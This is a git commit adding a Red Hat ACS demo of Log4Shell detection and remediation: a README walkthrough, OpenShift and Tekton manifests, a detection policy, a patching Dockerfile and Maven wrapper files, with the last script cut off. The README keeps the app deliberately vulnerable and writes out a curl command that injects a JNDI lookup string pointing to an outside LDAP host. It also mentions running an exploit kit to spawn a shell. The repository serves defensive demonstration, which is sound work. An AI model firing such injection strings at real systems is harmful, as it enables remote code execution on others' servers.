commit
ab41531c68
27 changed files with 1343 additions and 0 deletions
@ -0,0 +1,2 @@ |
|||||
|
dockercfg |
||||
|
*.bak |
||||
@ -0,0 +1,211 @@ |
|||||
|
# Red Hat ACS demo |
||||
|
|
||||
|
This repository is a demo for Red Hat Advanced Cluster Security that shows its benefits in the context of a major vulnerability such as Log4Shell. |
||||
|
|
||||
|
The high level scenario of the demo is: |
||||
|
|
||||
|
* An application is vulnerable to Log4Shell and deployed to production |
||||
|
* The vulnerability is announced |
||||
|
* A policy is loaded to track vulnerable applications and drive the remediation process |
||||
|
* Tickets are opened automatically on Jira to notify developers |
||||
|
* However, the developers need time to properly update the Log4j library |
||||
|
* The operations people will implement the remediation in the meantime |
||||
|
* The developers will notice their CI process is stopped because of the critical vulnerability |
||||
|
* They update the version of the Log4j dependency |
||||
|
* The CI/CD process builds and deploy the final fix for the CVE |
||||
|
|
||||
|
From this demo we can conclude that Red Hat ACS can: |
||||
|
|
||||
|
* Detect major CVEs when they appear |
||||
|
* Drive a remediation campaign |
||||
|
* Identify the current version of each component of a container image |
||||
|
* Detect intrusion in the information system |
||||
|
* Warn developers that their application is vulnerable to a CVE |
||||
|
* Ensure security and quality of software delivery |
||||
|
|
||||
|
## Setup |
||||
|
|
||||
|
### 0. Verify pre-requisites |
||||
|
|
||||
|
On your workstation: |
||||
|
|
||||
|
* podman |
||||
|
* buildah |
||||
|
* git |
||||
|
* curl |
||||
|
* oc |
||||
|
|
||||
|
On your OpenShift cluster(s): |
||||
|
|
||||
|
* Red Hat ACS |
||||
|
* OpenShift Pipelines |
||||
|
|
||||
|
### 1. Jira |
||||
|
|
||||
|
* Create a Jira trial account at: https://www.atlassian.com/fr/try/cloud/signup?bundle=jira-software&edition=free |
||||
|
* Write down the URL of your dashboard. |
||||
|
* Click **Jira Software** in the top left corner |
||||
|
* Click **See all projects** in the top right corner |
||||
|
* Click **Create project** |
||||
|
* Select the **Bug tracking** template |
||||
|
* Choose a name and a key |
||||
|
* Write down the chosen key |
||||
|
* Go to https://id.atlassian.com/manage-profile/security/api-tokens and create an API Token. |
||||
|
* Login to the Central and drill down to **Platform configuration** > **Integrations**. |
||||
|
* Select **Jira software**. |
||||
|
* Click **New integration**. |
||||
|
* Fill-in the creation form with: |
||||
|
|
||||
|
* **Integration Name**: `Jira` |
||||
|
* **Username**: your Jira username |
||||
|
* **Password**: your Jira API Token |
||||
|
* **Issue Type**: `Task` |
||||
|
* **Default Project**: your Jira project Key (all upper case) |
||||
|
|
||||
|
* Click **Test** and **Save** |
||||
|
|
||||
|
### 2. Deploy the CI/CD pipeline |
||||
|
|
||||
|
```sh |
||||
|
oc apply -f cicd |
||||
|
``` |
||||
|
|
||||
|
### 3. Expose the registry |
||||
|
|
||||
|
Expose the OpenShift registry. |
||||
|
|
||||
|
```sh |
||||
|
oc create route reencrypt image-registry --service=image-registry -n openshift-image-registry |
||||
|
``` |
||||
|
|
||||
|
Get the registry hostname and default token. |
||||
|
|
||||
|
```sh |
||||
|
# Get the hostname... |
||||
|
oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host} |
||||
|
|
||||
|
# and the password. |
||||
|
oc serviceaccounts get-token -n vulnerable-cicd default |
||||
|
``` |
||||
|
|
||||
|
Create the Docker Registry integration in Central with the above information. |
||||
|
|
||||
|
Set the registry hostname where required. |
||||
|
|
||||
|
```sh |
||||
|
sed -i.bak "s/__REGISTRY__/$REGISTRY/" remediation/Dockerfile deployment/kustomization.yaml |
||||
|
``` |
||||
|
|
||||
|
### 4. Deploy the vulnerable app |
||||
|
|
||||
|
```sh |
||||
|
oc kustomize deployment | oc apply -f - |
||||
|
``` |
||||
|
|
||||
|
Give access to the `vulnerable-cicd` images from the `vulnerable-log4j` namespace. |
||||
|
|
||||
|
```sh |
||||
|
REGISTRY=$(oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host}) |
||||
|
oc get secrets -n vulnerable-cicd -o json | jq -r '.items[] | select(.metadata.annotations["kubernetes.io/service-account.name"]=="default" and .type=="kubernetes.io/dockercfg") | .data[".dockercfg"]' | base64 -d | jq --arg registry "$REGISTRY" '.["image-registry.openshift-image-registry.svc:5000"] as $conf | { ($registry) : $conf}' > dockercfg |
||||
|
oc apply -n vulnerable-log4j -f - <<EOF |
||||
|
kind: Secret |
||||
|
apiVersion: v1 |
||||
|
metadata: |
||||
|
name: external-registry |
||||
|
data: |
||||
|
.dockercfg: $(base64 -w0 dockercfg) |
||||
|
type: kubernetes.io/dockercfg |
||||
|
EOF |
||||
|
oc secrets link default external-registry --for=pull -n vulnerable-log4j |
||||
|
``` |
||||
|
|
||||
|
## Preparation |
||||
|
|
||||
|
From your workstation, verify the connection to the registry: |
||||
|
|
||||
|
```sh |
||||
|
REGISTRY=$(oc get route -n openshift-image-registry image-registry -o jsonpath={.spec.host}) |
||||
|
REGISTRY_TOKEN="$(oc get secrets -n vulnerable-cicd -o json | jq -r '.items[] | select(.metadata.annotations["kubernetes.io/service-account.name"]=="default" and .type=="kubernetes.io/dockercfg") | .data[".dockercfg"]' | base64 -d | jq -r --arg registry "$REGISTRY" '.["image-registry.openshift-image-registry.svc:5000"].password')" |
||||
|
podman login "$REGISTRY" --username sa --password "$REGISTRY_TOKEN" |
||||
|
``` |
||||
|
|
||||
|
## Demo scenario |
||||
|
|
||||
|
### Build the inventory |
||||
|
|
||||
|
* Open the Central |
||||
|
* Drill down to **Platform Configuration** > **System policies** |
||||
|
* Click **Import policy** |
||||
|
* Load `policy/log4shell.json` |
||||
|
* Open the **Violations** tab |
||||
|
* Filter by **Policy**: `Log4Shell` |
||||
|
|
||||
|
### Intrusion |
||||
|
|
||||
|
* In a hidden terminal, run the JNDI Exploit Kit to trigger the "Shell spawned by Java application" policy |
||||
|
* Open the **Violations** tab |
||||
|
* Filter by **Namespace**: `vulnerable-log4j` |
||||
|
* Go to the OpenShift console |
||||
|
* Select the `vulnerable-log4j` namespace |
||||
|
* Delete the pod |
||||
|
* In the Central, clear the Violation |
||||
|
* Drill down to **Platform Configuration** > **System policies** |
||||
|
* Open the **Log4Shell** policy |
||||
|
* Click the **Edit** button |
||||
|
* On the fourth tab, show the automatic enforcement options |
||||
|
|
||||
|
### Remediation |
||||
|
|
||||
|
```sh |
||||
|
podman build --pull-always -t $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest remediation |
||||
|
podman run -it --rm --name test -p 8080:8080 $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest |
||||
|
curl http://localhost:8080 -H 'X-Name: ${jndi:ldap://log4shell.huntress.com:1389/e597d75d-1851-4133-9a08-d5dfd7e04264}' |
||||
|
podman push $REGISTRY/vulnerable-cicd/vulnerable-log4j:latest |
||||
|
oc delete pods -l deployment=settlement-app -n vulnerable-log4j |
||||
|
``` |
||||
|
|
||||
|
The violation "Log4Shell" disappeared. |
||||
|
|
||||
|
### Final fix by the developers |
||||
|
|
||||
|
Start the CI/CD pipeline: |
||||
|
|
||||
|
* In the OpenShift developer console, navigate to the `vulnerable-cicd` namespace. |
||||
|
* Drill down to **Pipelines** |
||||
|
* Select `vulnerable-log4j` |
||||
|
* Click **Actions** > **Start** |
||||
|
|
||||
|
It fails because the current version is vulnerable. |
||||
|
|
||||
|
Edit **src/pom.xml** and change `<log4j.version>2.14.0</log4j.version>` to `<log4j.version>2.17.1</log4j.version>`. |
||||
|
|
||||
|
```sh |
||||
|
git add src/pom.xml |
||||
|
git commit -m 'fix log4shell cve' |
||||
|
git push |
||||
|
``` |
||||
|
|
||||
|
Restart the CI/CD pipeline. |
||||
|
|
||||
|
## Reset the demo |
||||
|
|
||||
|
* In central, delete the **Log4Shell** policy |
||||
|
|
||||
|
```sh |
||||
|
oc delete -f deployment |
||||
|
oc start-build vulnerable-log4 -n vulnerable-cicd |
||||
|
``` |
||||
|
|
||||
|
## Exploit |
||||
|
|
||||
|
Find the URL of the vulnerable container. |
||||
|
|
||||
|
```sh |
||||
|
export TARGET="https://$(oc get route settlement-app -n vulnerable-log4j -o jsonpath="{.spec.host}")/" |
||||
|
``` |
||||
|
|
||||
|
Go to https://log4shell.huntress.com/ and pass the generated string in the `X-Name` HTTP header. |
||||
|
|
||||
|
```sh |
||||
|
curl "$TARGET" -H 'X-Name: ${jndi:ldap://log4shell.huntress.com:1389/e597d75d-1851-4133-9a08-d5dfd7e04264}' |
||||
|
``` |
||||
@ -0,0 +1,10 @@ |
|||||
|
apiVersion: v1 |
||||
|
kind: Namespace |
||||
|
metadata: |
||||
|
annotations: |
||||
|
openshift.io/description: "" |
||||
|
openshift.io/display-name: "" |
||||
|
name: vulnerable-cicd |
||||
|
spec: |
||||
|
finalizers: |
||||
|
- kubernetes |
||||
@ -0,0 +1,8 @@ |
|||||
|
kind: ImageStream |
||||
|
apiVersion: image.openshift.io/v1 |
||||
|
metadata: |
||||
|
annotations: |
||||
|
openshift.io/display-name: Image vulnerable to log4j |
||||
|
name: vulnerable-log4j |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
@ -0,0 +1,28 @@ |
|||||
|
kind: BuildConfig |
||||
|
apiVersion: build.openshift.io/v1 |
||||
|
metadata: |
||||
|
name: vulnerable-log4j |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
|
output: |
||||
|
to: |
||||
|
kind: ImageStreamTag |
||||
|
name: 'vulnerable-log4j:latest' |
||||
|
strategy: |
||||
|
type: Source |
||||
|
sourceStrategy: |
||||
|
from: |
||||
|
kind: ImageStreamTag |
||||
|
namespace: openshift |
||||
|
name: 'java:11' |
||||
|
source: |
||||
|
type: Git |
||||
|
git: |
||||
|
uri: 'https://github.com/nmasse-itix/demo-rhacs.git' |
||||
|
ref: main |
||||
|
contextDir: log4shell/src |
||||
|
triggers: |
||||
|
- type: ImageChange |
||||
|
imageChange: {} |
||||
|
- type: ConfigChange |
||||
|
runPolicy: Serial |
||||
@ -0,0 +1,27 @@ |
|||||
|
apiVersion: rbac.authorization.k8s.io/v1 |
||||
|
kind: RoleBinding |
||||
|
metadata: |
||||
|
name: deployment-can-pull-vulnerable-log4j |
||||
|
namespace: vulnerable-cicd |
||||
|
roleRef: |
||||
|
apiGroup: rbac.authorization.k8s.io |
||||
|
kind: ClusterRole |
||||
|
name: system:image-puller |
||||
|
subjects: |
||||
|
- kind: ServiceAccount |
||||
|
name: default |
||||
|
namespace: vulnerable-log4j |
||||
|
--- |
||||
|
apiVersion: rbac.authorization.k8s.io/v1 |
||||
|
kind: RoleBinding |
||||
|
metadata: |
||||
|
name: cicd-can-admin-this-namespace |
||||
|
namespace: vulnerable-log4j |
||||
|
roleRef: |
||||
|
apiGroup: rbac.authorization.k8s.io |
||||
|
kind: ClusterRole |
||||
|
name: edit |
||||
|
subjects: |
||||
|
- kind: ServiceAccount |
||||
|
name: pipeline |
||||
|
namespace: vulnerable-cicd |
||||
@ -0,0 +1,78 @@ |
|||||
|
apiVersion: tekton.dev/v1beta1 |
||||
|
kind: Task |
||||
|
metadata: |
||||
|
name: oc-start-build |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
|
params: |
||||
|
- name: namespace |
||||
|
default: default |
||||
|
description: The kubernetes namespace |
||||
|
- name: componentName |
||||
|
default: sample |
||||
|
description: The name of the component |
||||
|
steps: |
||||
|
- name: build-image |
||||
|
image: 'quay.io/openshift/origin-cli:latest' |
||||
|
command: |
||||
|
- /usr/bin/oc |
||||
|
args: |
||||
|
- -n |
||||
|
- $(inputs.params.namespace) |
||||
|
- start-build |
||||
|
- $(inputs.params.componentName) |
||||
|
- --follow |
||||
|
--- |
||||
|
apiVersion: tekton.dev/v1beta1 |
||||
|
kind: Task |
||||
|
metadata: |
||||
|
name: oc-deploy |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
|
params: |
||||
|
- name: namespace |
||||
|
default: default |
||||
|
description: The kubernetes namespace |
||||
|
- name: componentName |
||||
|
default: sample |
||||
|
description: The name of the component |
||||
|
steps: |
||||
|
- name: oc-deploy |
||||
|
image: quay.io/openshift/origin-cli:latest |
||||
|
command: |
||||
|
- "/usr/bin/oc" |
||||
|
args: |
||||
|
- delete |
||||
|
- pods |
||||
|
- -n |
||||
|
- $(inputs.params.namespace) |
||||
|
- -l |
||||
|
- deployment=$(inputs.params.componentName) |
||||
|
--- |
||||
|
apiVersion: tekton.dev/v1beta1 |
||||
|
kind: Task |
||||
|
metadata: |
||||
|
name: oc-annotate |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
|
params: |
||||
|
- name: namespace |
||||
|
default: default |
||||
|
description: The kubernetes namespace |
||||
|
- name: componentName |
||||
|
default: sample |
||||
|
description: The name of the component |
||||
|
- name: annotation |
||||
|
description: The annotation (key=value) |
||||
|
steps: |
||||
|
- name: oc-annotate |
||||
|
image: quay.io/openshift/origin-cli:latest |
||||
|
command: |
||||
|
- "/usr/bin/oc" |
||||
|
args: |
||||
|
- annotate |
||||
|
- -n |
||||
|
- $(inputs.params.namespace) |
||||
|
- deploy |
||||
|
- $(inputs.params.componentName) |
||||
|
- $(inputs.params.annotation) |
||||
@ -0,0 +1,37 @@ |
|||||
|
apiVersion: tekton.dev/v1beta1 |
||||
|
kind: Pipeline |
||||
|
metadata: |
||||
|
name: vulnerable-log4j |
||||
|
namespace: vulnerable-cicd |
||||
|
spec: |
||||
|
tasks: |
||||
|
- name: build-image |
||||
|
taskRef: |
||||
|
name: oc-start-build |
||||
|
params: |
||||
|
- name: componentName |
||||
|
value: vulnerable-log4j |
||||
|
- name: namespace |
||||
|
value: vulnerable-cicd |
||||
|
- name: deploy |
||||
|
taskRef: |
||||
|
name: oc-deploy |
||||
|
runAfter: |
||||
|
- build-image |
||||
|
params: |
||||
|
- name: componentName |
||||
|
value: settlement-app |
||||
|
- name: namespace |
||||
|
value: vulnerable-log4j |
||||
|
# - name: remediate |
||||
|
# taskRef: |
||||
|
# name: oc-annotate |
||||
|
# runAfter: |
||||
|
# - deploy |
||||
|
# params: |
||||
|
# - name: componentName |
||||
|
# value: settlement-app |
||||
|
# - name: namespace |
||||
|
# value: vulnerable-log4j |
||||
|
# - name: annotation |
||||
|
# value: cve.log4shell.remediate=true |
||||
@ -0,0 +1,10 @@ |
|||||
|
apiVersion: v1 |
||||
|
kind: Namespace |
||||
|
metadata: |
||||
|
annotations: |
||||
|
openshift.io/description: "" |
||||
|
openshift.io/display-name: "" |
||||
|
name: vulnerable-log4j |
||||
|
spec: |
||||
|
finalizers: |
||||
|
- kubernetes |
||||
@ -0,0 +1,32 @@ |
|||||
|
apiVersion: apps/v1 |
||||
|
kind: Deployment |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: settlement-app |
||||
|
app.kubernetes.io/component: settlement-app |
||||
|
app.kubernetes.io/instance: settlement-app |
||||
|
name: settlement-app |
||||
|
namespace: vulnerable-log4j |
||||
|
spec: |
||||
|
replicas: 1 |
||||
|
selector: |
||||
|
matchLabels: |
||||
|
deployment: settlement-app |
||||
|
template: |
||||
|
metadata: |
||||
|
creationTimestamp: null |
||||
|
labels: |
||||
|
deployment: settlement-app |
||||
|
spec: |
||||
|
containers: |
||||
|
- image: vulnerable-log4j-image:latest |
||||
|
imagePullPolicy: Always |
||||
|
name: settlement-app |
||||
|
resources: {} |
||||
|
terminationMessagePath: /dev/termination-log |
||||
|
terminationMessagePolicy: File |
||||
|
dnsPolicy: ClusterFirst |
||||
|
restartPolicy: Always |
||||
|
schedulerName: default-scheduler |
||||
|
securityContext: {} |
||||
|
terminationGracePeriodSeconds: 30 |
||||
@ -0,0 +1,17 @@ |
|||||
|
apiVersion: v1 |
||||
|
kind: Service |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: settlement-app |
||||
|
name: settlement-app |
||||
|
namespace: vulnerable-log4j |
||||
|
spec: |
||||
|
ports: |
||||
|
- name: http |
||||
|
port: 8080 |
||||
|
protocol: TCP |
||||
|
targetPort: 8080 |
||||
|
selector: |
||||
|
deployment: settlement-app |
||||
|
sessionAffinity: None |
||||
|
type: ClusterIP |
||||
@ -0,0 +1,17 @@ |
|||||
|
apiVersion: route.openshift.io/v1 |
||||
|
kind: Route |
||||
|
metadata: |
||||
|
labels: |
||||
|
app: settlement-app |
||||
|
name: settlement-app |
||||
|
namespace: vulnerable-log4j |
||||
|
spec: |
||||
|
port: |
||||
|
targetPort: http |
||||
|
tls: |
||||
|
termination: edge |
||||
|
to: |
||||
|
kind: Service |
||||
|
name: settlement-app |
||||
|
weight: 100 |
||||
|
wildcardPolicy: None |
||||
@ -0,0 +1,9 @@ |
|||||
|
resources: |
||||
|
- 00-namespace.yaml |
||||
|
- 10-deploy.yaml |
||||
|
- 20-svc.yaml |
||||
|
- 30-route.yaml |
||||
|
images: |
||||
|
- name: vulnerable-log4j-image |
||||
|
newName: __REGISTRY__/vulnerable-cicd/vulnerable-log4j |
||||
|
newTag: latest |
||||
@ -0,0 +1,70 @@ |
|||||
|
{ |
||||
|
"policies": [ |
||||
|
{ |
||||
|
"id": "7f0ef11c-f9b1-4af1-9181-e24b1c27285c", |
||||
|
"name": "Log4Shell", |
||||
|
"description": "Alert on deployments with images containing the Log4Shell vulnerabilities (CVE-2021-44228 and CVE-2021-45046). There are flaws in the Java logging library Apache Log4j in versions from 2.0-beta9 to 2.15.0, excluding 2.12.2.", |
||||
|
"rationale": "These vulnerabilities allows a remote attacker to execute code on the server if the system logs an attacker-controlled string value with the attacker's JNDI LDAP server lookup.", |
||||
|
"remediation": "Update the log4j libary to version 2.16.0 (for Java 8 or later), 2.12.2 (for Java 7) or later. If not possible to upgrade, then remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class and annotate the image with cve.log4shell.remediation=applied.", |
||||
|
"disabled": false, |
||||
|
"categories": [ |
||||
|
"Vulnerability Management" |
||||
|
], |
||||
|
"fields": null, |
||||
|
"lifecycleStages": [ |
||||
|
"BUILD", |
||||
|
"DEPLOY" |
||||
|
], |
||||
|
"eventSource": "NOT_APPLICABLE", |
||||
|
"whitelists": [], |
||||
|
"exclusions": [], |
||||
|
"scope": [], |
||||
|
"severity": "CRITICAL_SEVERITY", |
||||
|
"enforcementActions": [ |
||||
|
"FAIL_BUILD_ENFORCEMENT" |
||||
|
], |
||||
|
"notifiers": [ |
||||
|
"27197fcf-5d2c-4fb6-a9bd-9e755f739944" |
||||
|
], |
||||
|
"lastUpdated": "2022-02-21T14:19:19.206939932Z", |
||||
|
"SORTName": "", |
||||
|
"SORTLifecycleStage": "", |
||||
|
"SORTEnforcement": false, |
||||
|
"policyVersion": "1.1", |
||||
|
"policySections": [ |
||||
|
{ |
||||
|
"sectionName": "", |
||||
|
"policyGroups": [ |
||||
|
{ |
||||
|
"fieldName": "CVE", |
||||
|
"booleanOperator": "OR", |
||||
|
"negate": false, |
||||
|
"values": [ |
||||
|
{ |
||||
|
"value": "CVE-2021-44228" |
||||
|
}, |
||||
|
{ |
||||
|
"value": "CVE-2021-45046" |
||||
|
} |
||||
|
] |
||||
|
}, |
||||
|
{ |
||||
|
"fieldName": "Required Image Label", |
||||
|
"booleanOperator": "OR", |
||||
|
"negate": false, |
||||
|
"values": [ |
||||
|
{ |
||||
|
"value": "cve.log4shell.remediation=applied" |
||||
|
} |
||||
|
] |
||||
|
} |
||||
|
] |
||||
|
} |
||||
|
], |
||||
|
"mitreAttackVectors": [], |
||||
|
"criteriaLocked": false, |
||||
|
"mitreVectorsLocked": false, |
||||
|
"isDefault": false |
||||
|
} |
||||
|
] |
||||
|
} |
||||
@ -0,0 +1,15 @@ |
|||||
|
FROM __REGISTRY__/vulnerable-cicd/vulnerable-log4j:latest |
||||
|
|
||||
|
RUN MAIN_JAR=`ls -1 /deployments/*.jar` \ |
||||
|
&& mkdir -p /tmp/remediation/main /tmp/remediation/log4j \ |
||||
|
&& unzip -d /tmp/remediation/main "$MAIN_JAR" \ |
||||
|
&& LOG4J_JAR=`ls -1 /tmp/remediation/main/BOOT-INF/lib/log4j-core-*.jar` \ |
||||
|
&& unzip -d /tmp/remediation/log4j "$LOG4J_JAR" \ |
||||
|
&& rm /tmp/remediation/log4j/org/apache/logging/log4j/core/lookup/JndiLookup.class \ |
||||
|
&& cd /tmp/remediation/log4j \ |
||||
|
&& jar -0cmf META-INF/MANIFEST.MF "$LOG4J_JAR" . \ |
||||
|
&& cd /tmp/remediation/main \ |
||||
|
&& jar -0cmf META-INF/MANIFEST.MF "$MAIN_JAR" . \ |
||||
|
&& rm -rf /tmp/remediation |
||||
|
|
||||
|
LABEL cve.log4shell.remediation=applied |
||||
@ -0,0 +1,33 @@ |
|||||
|
HELP.md |
||||
|
target/ |
||||
|
!.mvn/wrapper/maven-wrapper.jar |
||||
|
!**/src/main/**/target/ |
||||
|
!**/src/test/**/target/ |
||||
|
|
||||
|
### STS ### |
||||
|
.apt_generated |
||||
|
.classpath |
||||
|
.factorypath |
||||
|
.project |
||||
|
.settings |
||||
|
.springBeans |
||||
|
.sts4-cache |
||||
|
|
||||
|
### IntelliJ IDEA ### |
||||
|
.idea |
||||
|
*.iws |
||||
|
*.iml |
||||
|
*.ipr |
||||
|
|
||||
|
### NetBeans ### |
||||
|
/nbproject/private/ |
||||
|
/nbbuild/ |
||||
|
/dist/ |
||||
|
/nbdist/ |
||||
|
/.nb-gradle/ |
||||
|
build/ |
||||
|
!**/src/main/**/build/ |
||||
|
!**/src/test/**/build/ |
||||
|
|
||||
|
### VS Code ### |
||||
|
.vscode/ |
||||
@ -0,0 +1,117 @@ |
|||||
|
/* |
||||
|
* Copyright 2007-present the original author or authors. |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* https://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
import java.net.*; |
||||
|
import java.io.*; |
||||
|
import java.nio.channels.*; |
||||
|
import java.util.Properties; |
||||
|
|
||||
|
public class MavenWrapperDownloader { |
||||
|
|
||||
|
private static final String WRAPPER_VERSION = "0.5.6"; |
||||
|
/** |
||||
|
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. |
||||
|
*/ |
||||
|
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/" |
||||
|
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar"; |
||||
|
|
||||
|
/** |
||||
|
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to |
||||
|
* use instead of the default one. |
||||
|
*/ |
||||
|
private static final String MAVEN_WRAPPER_PROPERTIES_PATH = |
||||
|
".mvn/wrapper/maven-wrapper.properties"; |
||||
|
|
||||
|
/** |
||||
|
* Path where the maven-wrapper.jar will be saved to. |
||||
|
*/ |
||||
|
private static final String MAVEN_WRAPPER_JAR_PATH = |
||||
|
".mvn/wrapper/maven-wrapper.jar"; |
||||
|
|
||||
|
/** |
||||
|
* Name of the property which should be used to override the default download url for the wrapper. |
||||
|
*/ |
||||
|
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; |
||||
|
|
||||
|
public static void main(String args[]) { |
||||
|
System.out.println("- Downloader started"); |
||||
|
File baseDirectory = new File(args[0]); |
||||
|
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); |
||||
|
|
||||
|
// If the maven-wrapper.properties exists, read it and check if it contains a custom
|
||||
|
// wrapperUrl parameter.
|
||||
|
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); |
||||
|
String url = DEFAULT_DOWNLOAD_URL; |
||||
|
if(mavenWrapperPropertyFile.exists()) { |
||||
|
FileInputStream mavenWrapperPropertyFileInputStream = null; |
||||
|
try { |
||||
|
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); |
||||
|
Properties mavenWrapperProperties = new Properties(); |
||||
|
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); |
||||
|
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); |
||||
|
} catch (IOException e) { |
||||
|
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); |
||||
|
} finally { |
||||
|
try { |
||||
|
if(mavenWrapperPropertyFileInputStream != null) { |
||||
|
mavenWrapperPropertyFileInputStream.close(); |
||||
|
} |
||||
|
} catch (IOException e) { |
||||
|
// Ignore ...
|
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
System.out.println("- Downloading from: " + url); |
||||
|
|
||||
|
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); |
||||
|
if(!outputFile.getParentFile().exists()) { |
||||
|
if(!outputFile.getParentFile().mkdirs()) { |
||||
|
System.out.println( |
||||
|
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'"); |
||||
|
} |
||||
|
} |
||||
|
System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); |
||||
|
try { |
||||
|
downloadFileFromURL(url, outputFile); |
||||
|
System.out.println("Done"); |
||||
|
System.exit(0); |
||||
|
} catch (Throwable e) { |
||||
|
System.out.println("- Error downloading"); |
||||
|
e.printStackTrace(); |
||||
|
System.exit(1); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private static void downloadFileFromURL(String urlString, File destination) throws Exception { |
||||
|
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) { |
||||
|
String username = System.getenv("MVNW_USERNAME"); |
||||
|
char[] password = System.getenv("MVNW_PASSWORD").toCharArray(); |
||||
|
Authenticator.setDefault(new Authenticator() { |
||||
|
@Override |
||||
|
protected PasswordAuthentication getPasswordAuthentication() { |
||||
|
return new PasswordAuthentication(username, password); |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
URL website = new URL(urlString); |
||||
|
ReadableByteChannel rbc; |
||||
|
rbc = Channels.newChannel(website.openStream()); |
||||
|
FileOutputStream fos = new FileOutputStream(destination); |
||||
|
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); |
||||
|
fos.close(); |
||||
|
rbc.close(); |
||||
|
} |
||||
|
|
||||
|
} |
||||
Binary file not shown.
@ -0,0 +1,2 @@ |
|||||
|
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.3/apache-maven-3.8.3-bin.zip |
||||
|
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar |
||||
@ -0,0 +1,310 @@ |
|||||
|
#!/bin/sh |
||||
|
# ---------------------------------------------------------------------------- |
||||
|
# Licensed to the Apache Software Foundation (ASF) under one |
||||
|
# or more contributor license agreements. See the NOTICE file |
||||
|
# distributed with this work for additional information |
||||
|
# regarding copyright ownership. The ASF licenses this file |
||||
|
# to you under the Apache License, Version 2.0 (the |
||||
|
# "License"); you may not use this file except in compliance |
||||
|
# with the License. You may obtain a copy of the License at |
||||
|
# |
||||
|
# https://www.apache.org/licenses/LICENSE-2.0 |
||||
|
# |
||||
|
# Unless required by applicable law or agreed to in writing, |
||||
|
# software distributed under the License is distributed on an |
||||
|
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY |
||||
|
# KIND, either express or implied. See the License for the |
||||
|
# specific language governing permissions and limitations |
||||
|
# under the License. |
||||
|
# ---------------------------------------------------------------------------- |
||||
|
|
||||
|
# ---------------------------------------------------------------------------- |
||||
|
# Maven Start Up Batch script |
||||
|
# |
||||
|
# Required ENV vars: |
||||
|
# ------------------ |
||||
|
# JAVA_HOME - location of a JDK home dir |
||||
|
# |
||||
|
# Optional ENV vars |
||||
|
# ----------------- |
||||
|
# M2_HOME - location of maven2's installed home dir |
||||
|
# MAVEN_OPTS - parameters passed to the Java VM when running Maven |
||||
|
# e.g. to debug Maven itself, use |
||||
|
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 |
||||
|
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files |
||||
|
# ---------------------------------------------------------------------------- |
||||
|
|
||||
|
if [ -z "$MAVEN_SKIP_RC" ] ; then |
||||
|
|
||||
|
if [ -f /etc/mavenrc ] ; then |
||||
|
. /etc/mavenrc |
||||
|
fi |
||||
|
|
||||
|
if [ -f "$HOME/.mavenrc" ] ; then |
||||
|
. "$HOME/.mavenrc" |
||||
|
fi |
||||
|
|
||||
|
fi |
||||
|
|
||||
|
# OS specific support. $var _must_ be set to either true or false. |
||||
|
cygwin=false; |
||||
|
darwin=false; |
||||
|
mingw=false |
||||
|
case "`uname`" in |
||||
|
CYGWIN*) cygwin=true ;; |
||||
|
MINGW*) mingw=true;; |
||||
|
Darwin*) darwin=true |
||||
|
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home |
||||
|
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html |
||||
|
if [ -z "$JAVA_HOME" ]; then |
||||
|
if [ -x "/usr/libexec/java_home" ]; then |
||||
|
export JAVA_HOME="`/usr/libexec/java_home`" |
||||
|
else |
||||
|
export JAVA_HOME="/Library/Java/Home" |
||||
|
fi |
||||
|
fi |
||||
|
;; |
||||
|
esac |
||||
|
|
||||
|
if [ -z "$JAVA_HOME" ] ; then |
||||
|
if [ -r /etc/gentoo-release ] ; then |
||||
|
